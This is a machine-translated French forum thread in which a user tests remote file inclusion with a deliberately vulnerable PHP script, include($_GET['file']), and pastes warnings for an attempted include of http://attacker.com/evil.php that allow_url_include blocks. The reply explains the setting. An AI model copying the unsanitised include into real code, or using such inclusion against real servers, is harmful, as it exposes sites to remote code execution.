2017-09-09 5 views
1

J'ai un problème. Je testais l'injection d'inclusion de fichiers à distance et j'ai essayé d'inclure le fichier de la chaîne de requête d'URL en utilisant PHP. Mais ici, je reçois des messages d'avertissement. J'explique mon code ci-dessous.Impossible d'inclure le fichier en utilisant PHP

<?php 
$file = $_GET['file']; 
include($file); 
?> 

Je reçois les messages suivants.

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /opt/lampp/htdocs/test/remote.php on line 3 

Warning: include(http://attacker.com/evil.php): failed to open stream: no suitable wrapper could be found in /opt/lampp/htdocs/test/remote.php on line 3 

Warning: include(): Failed opening 'http://attacker.com/evil.php' for inclusion (include_path='.:/opt/lampp/lib/php') in /opt/lampp/htdocs/test/remote.php on line 3 

Ici, j'appelle le fichier distant comme ceci http://localhost/test/remote.php?file=http://kooleedback.com/about.php. Ici, j'ai besoin de savoir comment il peut être inclus avec succès et comment il peut être évité.

Répondre

5

Votre serveur a l'option allow_url_include désactivée. Cela signifie que vous ne pouvez accéder aux fichiers locaux qu'avec include(), et non avec des URL externes.

En général, il n'est pas logique d'utiliser include() avec une URL .php distante. Lorsque vous demandez un fichier .php à partir d'un serveur, il ne renvoie pas le code source, exécute le script et renvoie la sortie. Mais include() doit obtenir du code PHP, qu'il exécute comme s'il était dans le script inclus.

Si vous souhaitez obtenir ces données à distance, vous devez utiliser file_get_contents($file), et non include($file).

+0

Oui, après avoir mis en œuvre selon vous les messages partis bit où il est inclus je ne peux pas savoir. – subhra